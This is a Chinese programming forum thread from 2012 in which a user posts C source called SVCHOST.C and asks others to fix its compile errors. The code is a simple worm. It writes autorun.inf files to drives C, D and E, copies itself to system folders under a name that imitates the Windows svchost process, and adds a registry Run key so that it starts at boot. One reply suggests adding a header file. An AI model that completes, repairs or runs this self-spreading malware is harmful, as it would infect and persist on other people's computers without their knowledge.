鱼C论坛

 找回密码
 立即注册
查看: 3711|回复: 2

求纠错

[复制链接]
发表于 2012-11-8 14:53:01 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
下列东西编译时有点错误,求指正并给予正确代码:
/* SVCHOST.C   */
/* SVCHOST.EXE */
#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
}
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
int main(void)
{
    FILE *input,*output;
    int i,k;
    for(i=0;i<3;i++)
    {
      output=fopen(files_autorun[i],"w");
      fprintf(output,"%s",autorun);
      fclose(output);
    }
    for(i=0;i<=SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<SVCHOST_NUM;k++)
        {
          copy(files_svchost[i],files_svchost[k]);
        }
        i=SVCHOST_NUM+1;
      }
    }
    system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
    return 0;
}
小甲鱼最新课程 -> https://ilovefishc.com
发表于 2012-11-8 15:08:43 | 显示全部楼层
加一句
#include <stdlib.h>
小甲鱼最新课程 -> https://ilovefishc.com
 楼主| 发表于 2012-11-12 15:58:28 | 显示全部楼层
...我加了还是显示有一错误,但是我看不懂是什么错误
小甲鱼最新课程 -> https://ilovefishc.com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-11-16 05:47

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表